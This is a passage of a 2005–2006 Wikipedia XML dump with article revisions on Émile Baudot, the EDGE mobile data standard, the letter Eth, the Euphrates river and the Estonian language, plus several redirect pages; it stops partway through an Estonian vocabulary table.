[[Yale College Wrexham|Yale College]], [[Wrexham]], a college in [[Wales]], is also named for Yale.

[[Category:1649 births|Yale, Elihu]]
[[Category:1721 deaths|Yale, Elihu]]
[[Category:Yale University|Yale, Elihu]]
[[Category:Welsh-Americans|Yale, Elihu]]

[[de:Elihu Yale]]
[[pl:Elihu Yale]]
[[uk:Єль Еліу]]</text>
    </revision>
  </page>
  <page>
    <title>Émile Baudot</title>
    <id>10207</id>
    <revision>
      <id>18071088</id>
      <timestamp>2005-07-03T14:48:28Z</timestamp>
      <contributor>
        <username>Ype</username>
        <id>311873</id>
      </contributor>
      <text xml:space="preserve">'''Jean-Maurice-Émile Baudot''', ([[September 11]] [[1845]] &amp;ndash; [[March 28]] [[1903]]), [[France|French]] [[telegraphy|telegraph]] [[engineering|engineer]] and inventor of the [[Baudot code]], was one of the pioneers of [[telecommunication]]s.

The term &quot;[[baud]]&quot; (a measure of symbols transmitted per second) is named after Emile Baudot.

In 1949, the French Post Office issued a series of stamps with his portrait. By mistake, the year of his birth was given as 1848, not the correct 1845. The stamps were subsequently re-issued with the correct year.

==External links==
* [http://www.itu.ch/aboutitu/HistoricalFigures.html ITU historical figures listing]
* [http://www.enteract.com/~enf/baudot/necrologie.html Obituary of Baudot]

{{France-bio-stub}}
[[Category:1845 births|Baudot, Émile]]
[[Category:1903 deaths|Baudot, Émile]]
[[Category:Telecommunications history|Baudot, Émile]]

[[de:Jean-Maurice-Émile Baudot]]
[[fr:Émile Baudot]]
[[nl:Émile Baudot]]
[[ru:Бодо, Жан Морис Эмиль]]</text>
    </revision>
  </page>
  <page>
    <title>Edward A. Murphy, Jr.</title>
    <id>10209</id>
    <revision>
      <id>35715228</id>
      <timestamp>2006-01-18T20:00:50Z</timestamp>
      <contributor>
        <username>Plutor</username>
        <id>55842</id>
      </contributor>
      <minor />
      <comment>Redirect to [[Major Edward A. Murphy, Jr.]] instead</comment>
      <text xml:space="preserve">#REDIRECT [[Major Edward A. Murphy, Jr.]]</text>
    </revision>
  </page>
  <page>
    <title>Emotion theory</title>
    <id>10210</id>
    <revision>
      <id>15908038</id>
      <timestamp>2004-10-13T12:53:04Z</timestamp>
      <contributor>
        <username>Johnkarp</username>
        <id>99812</id>
      </contributor>
      <comment>move info to emotion, redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Emotion]]</text>
    </revision>
  </page>
  <page>
    <title>Economic security</title>
    <id>10211</id>
    <revision>
      <id>31322125</id>
      <timestamp>2005-12-14T13:10:40Z</timestamp>
      <contributor>
        <ip>209.18.49.15</ip>
      </contributor>
      <text xml:space="preserve">'''Economic security''' can be thought of as:

* probable continued [[solvency]]
* predictability of the future [[cash flow]] of a [[person]] or other [[economic entity]].
* [[employment security]]

It is widely believed that there is a &quot;[[tradeoff]]&quot; between economic security and [[economic opportunity]].

{{econ-stub}}</text>
    </revision>
  </page>
  <page>
    <title>Evers, Charles</title>
    <id>10212</id>
    <revision>
      <id>15908040</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Charles Evers]]
</text>
    </revision>
  </page>
  <page>
    <title>Enhanced Data Rates for GSM Evolution</title>
    <id>10213</id>
    <revision>
      <id>42037621</id>
      <timestamp>2006-03-03T10:45:03Z</timestamp>
      <contributor>
        <ip>81.168.72.184</ip>
      </contributor>
      <comment>/* External links */</comment>
      <text xml:space="preserve">{{Table Mobile phone standards}}
'''Enhanced Data rates for GSM Evolution''', or '''EDGE''', is a digital [[mobile phone]] technology which acts as a [[bolt-on enhancement]] to [[2G]] and [[2.5G]] ''General Packet Radio Service'' ([[GPRS]]) networks. This technology works in [[TDMA]] and [[GSM]] networks. EDGE (also known as EGPRS) is a superset to GPRS and can function on any network with GPRS deployed on it, provided the carrier implements the necessary upgrades. 

EDGE provides Enhanced GPRS (EGPRS), which can be used for any [[packet switching|packet switched]] applications such as an [[Internet]] connection. High-speed data applications such as video services and other multimedia benefit from EGPRS' increased data capacity.

In addition to [[GMSK]] (Gaussian minimum-shift keying) EDGE uses [[8PSK]] (8 Phase Shift Keying) for its upper five of the nine modulation and coding schemes. EDGE produces a 3bit word for every change in carrier phase. This effectively triples the gross data rate offered by GSM. EDGE, like [[GPRS]], uses a rate adaptation algorithm that adapts the modulation and coding scheme (MCS) due to the quality of the radio channel, and thus the bit rate and robustness of data transmission.  It introduces a new technology not found in GPRS, Incremental Redundancy, which, instead of retransmitting disturbed packets, sends more redundancy information to be combined in the receiver. This increases the probability of correct decoding.

EDGE can carry data speeds up to 236.8 kbit/s for 4 time slots (theoretical maximum is 473.6 kbit/s for 8 time slots) in packet mode and will therefore meet the [[International Telecommunications Union]]'s requirement for a [[3G]] network, and has been accepted by the ITU as part of the [[IMT-2000]] family of 3G standards. It also enhances the circuit data mode called [[HSCSD]], increasing the data rate of this service also. EDGE has been introduced into GSM networks around the world since 2003, initially in North America.

EDGE is actively supported by GSM operators in North America. Some GSM operators elsewhere view [[UMTS]] as the ultimate upgrade path and either plan to skip EDGE altogether or use it outside the UMTS coverage area. However, the high cost and slow uptake of [[UMTS]] (as demonstrated by the upstart network '''[[3 (telecommunications)|3]]''') have resulted in fairly common support for EDGE in the global GSM/GPRS market.

Although EDGE requires no hardware changes to be made in [[GSM]] core networks, base stations must be modified. An EDGE compatible tranceiver unit must be installed and base station system needs to be upgraded to support EDGE. New mobile terminal hardware and software is also required to decode/encode using the new shift keying scheme.

Whether EDGE is 2G or 3G depends on implementation.  While Class 3 and below EDGE devices clearly are not 3G, class 4 and above devices perform at a higher bandwidth than other technologies conventionally considered as 3G (such as 1xRTT).  With a maximum bandwidth of 236,8 kbit/s at Class 10, EDGE transcends both common 2G and 3G definitions.

See also: [[UMTS]]

==EDGE networks==
The following companies have EDGE networks in production:
* [[T-Mobile]] Czech Republic has large EDGE coverage in [[Czech Republic]] including all the main cities.
* [[Meteor Mobile Communications]], is upgrading its existing 2.5G Network to EDGE throughout [[Ireland]] in 2006/07.
* [[Sonera]] has large EDGE coverage in [[Finland]] including all the main cities.
* [[Telstra]] in [[Australia]] is to start upgrading it's existing 2.5G network to EDGE.
* [[Elisa Oyj]] has large EDGE coverage in [[Finland]] including all the main cities.
* [[Dna Finland]] is constructing lare EDGE/UMTS network and has partly opened it in [[Finland]].
* [[Azercell]] has EDGE network in Baku, the capital of Azerbiajan.
* [[Cell C]] has EDGE coverage in South Africa.
* [[Cellcom (Israel)|Cellcom]] has EDGE coverage in Israel.
* [[DiGi]] has reasonable EDGE coverage in Malaysia, particularly in West Malaysia. Coverage in East Malaysia is currently limited to Kuching, Kota Kinabalu and several main town centres. [[DiGi]] streams its MobileTV service over its EDGE network.
* [[Rogers Wireless]] has an EDGE network in Canada.
* [[Cingular]] and [[T-Mobile]] have EDGE networks in the United States.
* [[Orange SA|Orange]] has EDGE networks in France, Poland, Slovakia, Romania, Belgium, and has recently launched EDGE in the UK[http://www.3g.co.uk/PR/April2005/1301.htm].
* [[Bouygues Telecom]] has now an EDGE Network in France that covers 95 % of the population ; it's the largest EDGE implementation in France [http://www.option.com/news/detail.cfm?newsitemgroup_id=239].
* Mobilkom Austria provides an EDGE network in Austria [http://press.nokia.com/PR/200504/991043_5.html].
* [[Moldcell]] has EDGE networks in large cities of Moldova [http://www.infotag.md/press_release_en/10039/].
* [[MTN]] has EDGE coverage for large areas of South Africa.
* [[AirTel]] and [[Hutch (Indian cellular company)|Hutch]] provide EDGE coverage in large parts of India [http://www.3g.co.uk/PR/August2004/8193.htm] [http://www.3g.co.uk/PR/August2004/8139.htm].
* Velcom is constructing EDGE network and has partly opened it in [[Belarus]] [http://www.e-belarus.org/news/200512301.html].
* [[Telfort]] has full EDGE coverage in The Netherlands.
* [[DTAC]] is running an EDGE implementation in [[Bangkok]]/[[Thailand]] [http://www.dtac.co.th/edge/edgeindex.html].
* [[Telcel]] and [[movistar]] both operate independent EDGE networks in Mexico.  Telcel's covers Mexico City, Guadalajara and Monterrey and has expansions scheduled.
* VIPnet has full EDGE coverage in Croatia [http://vmc.vipnet.hr].
The full list of EDGE Operators previously maintained by GSM World was discontinued in May 2005, but they say &quot;virtually all new GSM infrastructure deployments are also EDGE capable&quot;.

==External links==
* [http://www.gsmworld.com/technology/edge/index.shtml GSM World: EDGE Platform]
* [http://www.3g-generation.com/gprs_and_edge.htm 3g-generation.com: GPRS and EDGE]
* [http://www.ericsson.com/products/white_papers_pdf/edge_wp_technical.pdf Ericsson.com: EDGE Description (PDF file)] 
* [http://www.moldcell.md/eng/Services/Data/EDGE/]
* [http://www.nokia-online.co.uk/Edge-data-connections/ Nokia - How EDGE for mobile device works]
[[category:GSM Standard]]

[[cs:EDGE]]
[[de:Enhanced Data Rates for GSM Evolution]]
[[es:Enhanced Data Rates for GSM Evolution]]
[[fr:Enhanced Data Rates for Global Evolution]]
[[is:EDGE]]
[[it:EDGE]]
[[he:EDGE]]
[[nl:Enhanced Data Rates for GSM Evolution]]
[[no:EDGE]]
[[pl:EDGE]]
[[pt:EDGE]]
[[sk:Enhanced Data Rates for Global Evolution]]
[[sl:EDGE]]
[[fi:EDGE]]
[[sv:EDGE]]
[[zh:EDGE]]</text>
    </revision>
  </page>
  <page>
    <title>EDGE</title>
    <id>10214</id>
    <revision>
      <id>18420413</id>
      <timestamp>2005-07-08T20:28:02Z</timestamp>
      <contributor>
        <username>Cacophony</username>
        <id>94933</id>
      </contributor>
      <comment>Enhanced Data Rates for GSM Evolution</comment>
      <text xml:space="preserve">#REDIRECT [[Enhanced Data Rates for GSM Evolution]]</text>
    </revision>
  </page>
  <page>
    <title>Eth</title>
    <id>10216</id>
    <revision>
      <id>41689036</id>
      <timestamp>2006-03-01T01:57:09Z</timestamp>
      <contributor>
        <username>Big Adamsky</username>
        <id>468840</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{otheruses}}
{{for|a list of letters that look similar to '''Ð''' in uppercase|Đ}}

[[Image:Ett.png|right|200px]]
'''Eth''' (Ð, ð), also spelled ''edh'' or ''eð'', is a [[letter]] used in [[Old English language|Old English]] (Anglo-Saxon) and present-day [[Icelandic alphabet|Icelandic]], and in [[Faroese alphabet]] which call the letter ''edd''. It was also used in [[medieval]] [[Scandinavia]], but was subsequently replaced with ''dh'' and later ''d''.

The letter had its origin as a ''d'' with a cross-stroke added. The lowercase version has retained the curved shape of a [[medieval]] scribe's ''d'', which ''d'' itself in general has not (but see for instance the [[Audi]] logo). Some scholars therefore argue that Eth (Ðð) and [[D with stroke]] (Đđ) are actually the same letter with local glyph variants {{fact}}, like ''[[ø]]'' and ''[[ö]]'', but the [[Unicode]] Consortium decided not to unify them.

In Icelandic, ''ð'' represents a voiced dental [[fricative]], as in ''th'' in English &quot;them&quot;. As a point of curiosity, however, the name of the letter is pronounced ''eþ'', i.e., ''voiceless'', unless followed by a vowel. In Faroese, ''ð'' isn't assigned to any particular phoneme but is mostly there for etymological reasons, however, it does show where most of the Faroese glides are, and when the ''ð'' is before ''r'' it is in a few words pronounced as {{IPA|[g]}}. In the Icelandic and Faroese [[alphabet]]s, ''ð'' follows ''d''. In [[Olav Jakobsen Høyem]]'s version of [[Nynorsk]] based on [[Trøndersk]], the ''ð'' is always silent and introduced for etymological reasons. In [[Älvdalska]] orthography, the ''ð'' has the sound value [ð] and is a preserved from Old Norse. In Anglo-Saxon, ''ð'' may represent the same sound as in Icelandic, or the voiceless ''th'' of &quot;thread&quot;, both of which were also represented by [[þ]] (thorn). In [[Middle English]], ''ð'' was no longer used; the [[Normans]] did not like characters in English which did not exist in the Latin alphabet. Ð and [[þ]] were replaced with ''th''.

Lower-case eth is used as a symbol in the [[International Phonetic Alphabet]] (IPA), again for a [[voiced dental fricative]], and in IPA usage, the name of the symbol is pronounced with the same voiced sound, as {{IPA|[&amp;#603;ð]}}.

== Computer encoding ==
In the [[Unicode]] universal character encoding standard, upper and lower case eth are represented by U+00D0 and U+00F0, respectively.  These code points are inherited from the older [[ISO 8859-1]] standard.  In [[HTML]], eth is represented by the Latin character entities &lt;code&gt;&amp;amp;ETH;&lt;/code&gt; and &lt;code&gt;&amp;amp;eth;&lt;/code&gt;.

== Miscellany ==
* The letter ''ð'' is sometimes used in [[mathematics|mathematical]] and [[engineering]] textbooks as a symbol for a [[partial derivative]], but the more usual symbol is ∂.
* The modern [[Greek language|Greek]] letter [[Delta (letter)|delta]] ([[Δ]], [[δ]]) has, in general, the same phonetic value, and ''ð'' is the only actual [[Latin alphabet]] letter faithfully representing delta's phonetic value.

==External links==
* [http://briem.ismennt.is/2/2.11/2.1.3.eth.cap.htm How to make the Eth]

{{Latin alphabet}}

&lt;!--Categories--&gt;
[[Category:Faroese language|D]]
[[Category:Icelandic language|D]]
[[Category:Middle English language|D]]
[[Category:Old English language|D]]
[[Category:Uncommon Latin letters|D]]&lt;!-- I know this is wrong, but it makes more sense to sort this with D than after Z in the category. [[User:OwenBlacker|OwenBlacker]] 19:58, Nov 16, 2004 (UTC) --&gt;

&lt;!--Other languages--&gt;
[[ang:Ð]]
[[da:Ð]]
[[de:Ð]]
[[es:Ð]]
[[fr:Ð]]
[[ja:Ð]]
[[nl:Ð]]
[[nn:Ð]]
[[pl:Ð]]
[[sv:Ð]]
[[zh:Ð]]</text>
    </revision>
  </page>
  <page>
    <title>Eth, Nord</title>
    <id>10217</id>
    <revision>
      <id>40000937</id>
      <timestamp>2006-02-17T11:56:37Z</timestamp>
      <contributor>
        <username>Olivier</username>
        <id>3808</id>
      </contributor>
      <minor />
      <text xml:space="preserve">'''Eth''' is a [[commune in France|commune]] of the [[Nord (département)|Nord]] ''[[département in France|département]]'' in northern [[France]].

[[Category:Communes of Nord]]
{{PasdeCalais-geo-stub}}

[[fr:Eth (commune)]]</text>
    </revision>
  </page>
  <page>
    <title>Electronic data interchange</title>
    <id>10219</id>
    <revision>
      <id>15908047</id>
      <timestamp>2002-12-24T15:33:56Z</timestamp>
      <contributor>
        <username>Patrick</username>
        <id>4388</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Electronic Data Interchange]]</text>
    </revision>
  </page>
  <page>
    <title>Eubacteria</title>
    <id>10220</id>
    <revision>
      <id>23621705</id>
      <timestamp>2005-09-20T20:29:24Z</timestamp>
      <contributor>
        <username>Tylerni7</username>
        <id>171734</id>
      </contributor>
      <minor />
      <comment>redirected to the wrong place</comment>
      <text xml:space="preserve">#REDIRECT [[Bacteria]]</text>
    </revision>
  </page>
  <page>
    <title>Euphrates</title>
    <id>10221</id>
    <revision>
      <id>40938525</id>
      <timestamp>2006-02-24T00:16:24Z</timestamp>
      <contributor>
        <username>3345345335534</username>
        <id>264107</id>
      </contributor>
      <comment>Italicized Syriac transliteration of the river.</comment>
      <text xml:space="preserve">{{Infobox_river | river_name = Euphrates
  | image_name = Tigr-euph.png
  | caption = Map of the [[Tigris]]-[[Euphrates]] Watershed
  | origin = Eastern [[Turkey]]
  | mouth = [[Shatt al Arab]]
  | basin_countries = [[Turkey]], [[Syria]] and [[Iraq]]
  | length = 2,800 km
  | elevation = 4,500 m
  | discharge = 818 m&amp;sup3;/s
  | watershed = 765,831 km&amp;sup2;
}}
The '''Euphrates''' (the traditional [[Greek language|Greek]] name for the [[river]], [[Arabic language|Arabic]]: الفرات; ''Al-Furat'', [[Old Persian]]: ''Ufrat'', [[Syriac]]: ܦܪܘܬ/ܦܪܬ; ''Prâth/Frot'', [[Turkish language|Turkish]]: ''F&amp;#305;rat'', Assyrian [[Akkadian language|Akkadian]]: ''Pu-rat-tu'', [[Hebrew language|Hebrew]]: ''פְּרָת'') is the westernmost of the two great rivers that define [[Mesopotamia]] ([[Beth Nahrain]] in [[Syriac]]), the other being the [[Tigris]]. The form ''Euphrates'' may originate from Old [[Persian language|Persian]] and [[Avestan]] (Old-Iranian) ''huperethuua'' &quot;good to cross over,&quot; from hu- &quot;good&quot; + peretu- &quot;ford,&quot; [http://www.etymonline.com/index.php?search=euphrates&amp;searchmode=none] but the [[Sumerian]] ruler [[Gudea]] called the river ''buranun'' in a [[Sumerian language]] inscription about 1600 years before [[Indo-European]] [[Old Persian]] speakers conquered Mesopotamia.

==Course of the Euphrates==

The river is approximately 2,780 kilometers (1,730 miles) long. It is formed by the union of two branches, the [[Karasu River|Kara]] (the western Euphrates), which rises in the highlands of eastern Turkey north of [[Erzurum]] and the [[Murat River|Murat]] (the eastern Euphrates), which issues from an area southwest of [[Mount Ararat]], north of [[Lake Van]]. The upper reaches of the Euphrates flow through steep canyons and gorges then southeast across [[Syria]] and then through [[Iraq]]. The [[Khabur River|Khabur]] and the [[Balikh River]] join the Euphrates in eastern Syria.

[[Image:Boat on Euphrates.jpg|thumb|left|250px|Boat on the Shatt-al-Arab]]

Both rivers have their origins in Turkey. Downstream, through its whole length, the Euphrates receives no further water flow. North of [[Basra]], in southern Iraq, the river merges with the Tigris to form the [[Arvand/Shatt al-Arab]], which in turn empties into the [[Persian Gulf]]. 

The river used to divide into many channels at Basra, forming an extensive marshland, but the marshes were largely drained by the [[Saddam Hussein]] government in the [[1990s]] as a means of driving out the rebellious [[Marsh Arabs]]. Since the [[2003 invasion of Iraq]], the drainage policy has been reversed, but it remains to be seen whether the marshes will recover.

The Euphrates is only navigable by very shallow-draft boats, which can reach as far as the Iraqi city of [[Hit, Iraq|Hit]], located 1,930 kilometers (1,200 miles) upstream and which is only 53 meters (58 yards) above sea level. Above Hit, however, shoals and rapids make the river commercially unnavigable. Its annual inundation, caused by snowmelt in the mountains of northeastern Turkey, has been partly checked by new dams and reservoirs in the upper reaches. A 885 kilometer (550-mile) canal links the Euphrates to the Tigris to serve as a route for river barges.

[[Image:ArRaqqahEuphrates.jpg|right|thumb|250px|The Euphrates River near [[Ar Raqqah]], Syria]]

&lt;div style=&quot;clear:left&quot; /&gt;
==Euphrates in the Bible==

The river Euphrates is one of the four rivers that flow from the [[Garden of Eden]] according to [[Book of Genesis|Genesis]] 2:14. It is the fourth river, after the [[Pishon]], the [[Gihon]], and the [[Tigris]], to form from the river flowing out of the garden. The river also marked one of the boundaries of the land promised by [[God]] to [[Abraham]] and his descendants. In the [[Hebrew Bible]], it is often referred to simply as &quot;The River&quot; (''ha-nahar''). 

The word Euphrates is a translation for the word &quot;Gush forth or &quot;break forth&quot;. It has always been asumed to mean &quot;river&quot; but this is not explicitly stated. It literally means &quot;breaking forth of liquid&quot;. The river Euphrates was named from this root word, &quot;To gush forth&quot;. 

In the [[Book of Revelation]], it is prophesied that in the &quot;[[near future]] the Potamos Euphrates or &quot;breaking forth like water&quot; of the middle east will dry up in preparation for the [[Battle of Armageddon]].

==Islamic prophecies==

In [[Islam]], some of the [[hadith]]s of [[Muhammad]] suggest that the Euphrates will dry up, revealing unknown treasures that will be the cause of strife and war.

*''Soon the river Euphrates will disclose the treasure [the mountain] of gold. So, whoever will be present at that time should not take anything of it.'' — [[Sahih Bukhari]].
*''God's Messenger (may God bless him and grant him peace) said: &quot;The Hour will not come to pass before the river Euphrates dries up to unveil the mountain of gold, for which people will fight. Ninety-nine out of one hundred will die [in the fighting], and every man among them will say: 'Perhaps I may be the only one to remain alive'.&quot;'' — [[Sahih Bukhari]], [[Sahih Muslim]].
*''The Prophet (may God bless him and grant him peace) said: &quot;The Euphrates reveals the treasures within itself. Whoever sees it should not take anything from it&quot;. — Al-Muttaqi al-Hindi, Al-Burhan fi `Alamat al-Mahdi Akhir az-Zaman, p. 28.
*''It [the Euphrates] will uncover a mountain of gold [under it].'' — [[Sunan Abi Da'ud]].

==Euphrates in history==

The Euphrates provided the water that led to the first flowering of civilisation in [[Sumeria]], dating from about the [[4th millennium BC]]. Many important ancient cities were located on or near the riverside, including [[Mari]], [[Sippar]], [[Nippur]], [[Shuruppak]], [[Uruk]], [[Ur]] and [[Eridu]]. The river valley formed the heartlands of the later empires of [[Babylonia]] and [[Assyria]]. For several centuries, the river formed the eastern limit of effective [[Egypt]]ian and [[Ancient Rome|Roman]] control and western regions of the [[Persian Empire]].

==Controversial issues==

As with the Tigris there is much controversy over rights and use of the river. The [[Southeastern Anatolia Project]] in Turkey involves the construction of 22 dams and 19 power plants by [[2005]], the biggest development project ever undertaken by Turkey. The first of the dams was completed in [[1990]]. Southeast Turkey is still struggling economically, adding fuel to the discontent expressed by Turkey's [[Kurd]]ish minority centered there. The Turkish authorities hope that the project will provide a boost to the region's economy, but domestic and foreign critics have disputed its benefits as well as attacking the social and environmental costs of the scheme.

In Syria the [[Tabaqah Dam]] (completed in [[1973]] and sometimes known simply as the '''Euphrates Dam''') forms a reservoir, Lake Assad, that is used for irrigating cotton. Syria has dammed its two tributaries and is constructing another dam. Iraq has seven dams in operation, but water control lost priority during Saddam Hussein's regime. Since the collapse of Ba'ath Iraq in [[2003]], water use has come once again to the fore. The scarcity of water in the Middle East leaves Iraq in constant fear that Syria and Turkey will use up most of the water before it reaches Iraq. As it is, irrigation in southern Iraq leaves little water to join the Tigris at the Shatt-al-Arab.

==See also==

* [[Cradle of Humanity]]
* [[List of places in Iraq]]
* [[Tigris-Euphrates alluvial salt marsh]]

==External links==

*[http://www.jewishencyclopedia.com/view.jsp?artid=518&amp;letter=E ''Jewish Encyclopedia'':] Euphrates; discusses the Old Testament references to the river
*[http://gurukul.ucc.american.edu/ted/ice/tigris.htm Tigris-Euphrates River dispute, details of conflict and cooperation]
*[http://www.mfa.gov.tr/MFA/ForeignPolicy/MainIssues/WaterIssues/WaterIssuesBetweenTurkeySyriaIraq_Chapter_IV.htm The Turkish National Policy for Utilizing the Waters of Euphrates-Tigris Basin (THE THREE-STAGED PLAN)]


[[Category:Mesopotamia]]
[[Category:Rivers of Turkey]]
[[Category:Rivers of Syria]]
[[Category:Rivers of Iraq]]
[[Category:Sites along the Silk Road]]
[[Category:Torah places]]

[[ar:الفرات]]
[[ca:Eufrates]]
[[cs:Eufrat]]
[[da:Eufrat]]
[[de:Euphrat]]
[[es:Éufrates]]
[[eo:Eŭfrato]]
[[fa:فرات]]
[[fr:Euphrate]]
[[gl:Eufrates]]
[[ko:유프라테스 강]]
[[is:Efrat]]
[[he:פרת]]
[[la:Euphrates]]
[[nl:Eufraat]]
[[ja:ユーフラテス川]]
[[no:Eufrat]]
[[pl:Eufrat]]
[[pt:Rio Eufrates]]
[[ru:Евфрат (река)]]
[[sl:Evfrat]]
[[fi:Eufrat]]
[[sv:Eufrat]]
[[tr:Fırat]]
[[wa:Ufrate (aiwe)]]
[[zh:幼发拉底河]]</text>
    </revision>
  </page>
  <page>
    <title>Estonian language</title>
    <id>10223</id>
    <revision>
      <id>42089242</id>
      <timestamp>2006-03-03T19:29:17Z</timestamp>
      <contributor>
        <username>Caesarion</username>
        <id>178966</id>
      </contributor>
      <minor />
      <comment>+li</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Estonian
|nativename=Eesti keel
|familycolor=Uralic
|states=[[Estonia]]
|region=[[Northern Europe]]
|speakers=1.1 million
|fam2=[[Finno-Ugric languages|Finno-Ugric]]
|fam3=[[Finno-Lappic]]
|fam4=[[Baltic-Finnic]]
|nation=[[Estonia]], [[European Union]]
|agency=Institute of the Estonian Language (semi-official)
|iso1=et|iso2=est|iso3=est}}

The '''Estonian language''' (Estonian: ''eesti keel'') is spoken by about 1.1 million people, of which the great majority live in the [[Northern European]] country of [[Estonia]].

Estonian belongs to the [[Finnic]] branch of the [[Finno-Ugric languages]]. Estonian is thus related to [[Finnish language|Finnish]], spoken on the other side of the [[Gulf of Finland]], and more distantly to the [[Hungarian language]] of the Ugric branch. Despite some minor overlaps in the vocabulary, in terms of its origin, the Estonian language is not related to its nearest western neighbour, [[Swedish language|Swedish]], nor to its southern neighbour, [[Latvian language|Latvian]], nor to its eastern neighbour, [[Russian language|Russian]], which are all [[Indo-European languages]].

One of the distinctive features of Estonian is that it has what is traditionally seen as three degrees of phoneme length: short, long, and &quot;overlong&quot;, such that [[International Phonetic Alphabet|IPA]] {{IPA|/toto/}}, {{IPA|/to:to/}} and {{IPA|/to::to/}} are distinct, as are {{IPA|/toto/}}, {{IPA|/tot:o/}}, and {{IPA|/tot::o/}}.  The distinction between long and overlong is, in practice, as much a matter of syllable stress (involving pitch) as duration. Long and overlong vowels are not distinguished in written Estonian; plosives, however, appear in writing with three &quot;degrees&quot;: b,d,g; p,t,k and pp;tt;kk (all unvoiced plosives).

==Phonology==
There are nine phonemic monophthongs — '''a e i o u''' '''õ''' [{{IPA|ɤ}}] '''ä''' [æ] '''ö''' [ø] '''ü''' [y] — which have three phonetic lengths. Of these, simple and long are segmentally phonemic, and the third length level is suprasegmentally phonemic and aided by a distinctive tonal contour. The script distinguishes only short and long (marked by vowel doubling).  There are 19 segmental diphthongs (Hint 1978), and polysyllablic vowel clusters are also found.

{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
|-
|
| colspan=2 | Front
| colspan=2 | Back
|-
|
|Unrounded
|Rounded
|Unrounded
|Rounded
|-
|Close
! align=&quot;center&quot; |i
! align=&quot;center&quot; |ü
!
! align=&quot;center&quot; |u
|-
|Mid
! align=&quot;center&quot; |e
! align=&quot;center&quot; |ö
! align=&quot;center&quot; |õ
! align=&quot;center&quot; |o
|-
|Open
! align=&quot;center&quot; |ä
!
! align=&quot;center&quot; |a
!
|}

There is one series of stops, unvoiced unaspirated, with three phonemic lengths, written '''b d g''', '''p t k''' and '''pp tt kk'''. The rest of the consonants also have distinctive length, but only short and long are distinguished in writing. As with vowels, two segmental length levels are phonemic, and the third level is  suprasegmentally phonemic. For example, for 'n', short 'n' in ''lina'' &quot;sheet&quot;, half-long 'n' in ''linna'' &quot;town's&quot;, over-long 'n' in ''linna'' &quot;to the town&quot;. The latter addition of length is traceable to a grammatical marker *''-han'' that has elided.

The fricatives are '''s h''', added with '''f š ž z''' for loans. The other consonants are '''j l m n r v''', plus the allophonic [[velar nasal]] in '''nk''' and '''ng'''. Consonants may be palatalized; this is not spelled out. Palatalization occurs before front vowels. About 0.15% of the vocabulary features fully phonemic palatalization, where palatalization occurs without the front vowel. (The process is similar to that found in Eastern Finnish dialects, where word-final 'i' is elided, leaving the palatalization on the consonant.) Thus, palatalization does not necessarily need a front vowel, and palatalized vs. plain continuants can be articulated. Estonian palatalization is thought to be of [[Uralic languages|Uralic origin]], and is different from Russian. In Russian, palatalization causes some affrication and necessarily features a palatal approximant/fricative offglide, which is not the case in Estonian.

The stress is on the first syllable; however, international loanwords and over-long consonants may alter this pattern.

==Vocabulary==

Although the Estonian and [[English language]]s are of completely different origins (leaving out the highly controversial [[Nostratic]] and [[Proto-World language]] theories), one can identify many similar words in the two languages. This is primarily due to the fact that the Estonian language has borrowed nearly one third of its vocabulary from [[Germanic languages]], including about 15% of the total number of word roots in modern Estonian which were borrowed from [[Middle Low German]] (Low Saxon) during the period of [[History_of_Estonia#The_Middle_Ages|German rule]] in Estonia.

&lt;table border=&quot;1&quot;&gt;
&lt;tr&gt;
&lt;th&gt;Proposed origin&lt;/th&gt;
&lt;th&gt;No. of word roots&lt;/th&gt;
&lt;th&gt;Period&lt;/th&gt;
&lt;th&gt;Examples&lt;/th&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Nostratic (hypothetical)&lt;/td&gt;
&lt;td&gt;130?&lt;/td&gt;
&lt;td&gt;15 000 – 10 000 BC&lt;/td&gt;
&lt;td&gt;'' mi(na) 'I', si(na) 'thou', vesi 'water', tabama 'to catch, seize, capture, hit', arbuma 'to magic, charm', puur 'auger', poeg 'son', päkk 'ball of the foot', keel 'tongue', pelgama 'to be afraid, fear', süva 'deep-seated, profound', vedama 'to pull, draw, drag, carry, drive', üks 'one' ''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Uralic&lt;/td&gt;
&lt;td&gt;120&lt;/td&gt;
&lt;td&gt;5000-4000 BC&lt;/td&gt;
&lt;td&gt;''ala 'under, sub', üla 'upper, top', esi 'front', taga 'behind'; see 'this, it', too 'that', kes 'who', mis 'what', ei 'no'; minema 'to go', tulema 'to come', tundma 'to feel', ujuma 'to swim', pelgama 'to be afraid, fear', kaduma 'to disappear', mõskma; puu, kuusk, kõiv, murakas, suvi, päev, kaja, kuu, lumi, soo, juga, kala, küü, sisalik; keel, kõrv, luu, maks, põlv, põsk, silm, muna, neelama, pala, sulg, kõrv; tuli, süsi, suusk, nool, sõudma, punuma, vask, vöö; elama, koolma, vägi, nimi, sala, naine; kaks, viis''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Finno-Ugric&lt;/td&gt;
&lt;td&gt;270&lt;/td&gt;
&lt;td&gt;4000 -3000 BC&lt;/td&gt;
&lt;td&gt;''aju, üdi, hing, pea, pii, sapp, vats; aru, jää, koit, voor, paju, pihl, kask, mari, pohl, kamar, rebane, nugis, siil, utt, hiir, püü, mõtus, vares, pääsuke, säga, säinas, särg, täi, kusilane, koi; koda, küla; põlema, küdema, pada, leem, või, väits, vestma, sau; sõba; kolm, neli, kuus; nõid, ise, ilm; talv, sügis, iga; isa, poeg, küdi, kond; valge, hahk, uus, sepp''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Finno-Permic&lt;/td&gt;
&lt;td&gt;50-140&lt;/td&gt;
&lt;td&gt;2500 -1500 BC&lt;/td&gt;
&lt;td&gt;''kõht; kõri; säär; koobas, põrm, sõnnik; peda(jas), kuslapuu, oks, pähkel, kiud, peni, orav, kotkas; rehi, kuduma, amb, mõla, õng; äi, äike; parem, vana; lõuna; meel''&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;
&lt;td&gt;Finno-Volgaic&lt;/td&gt;
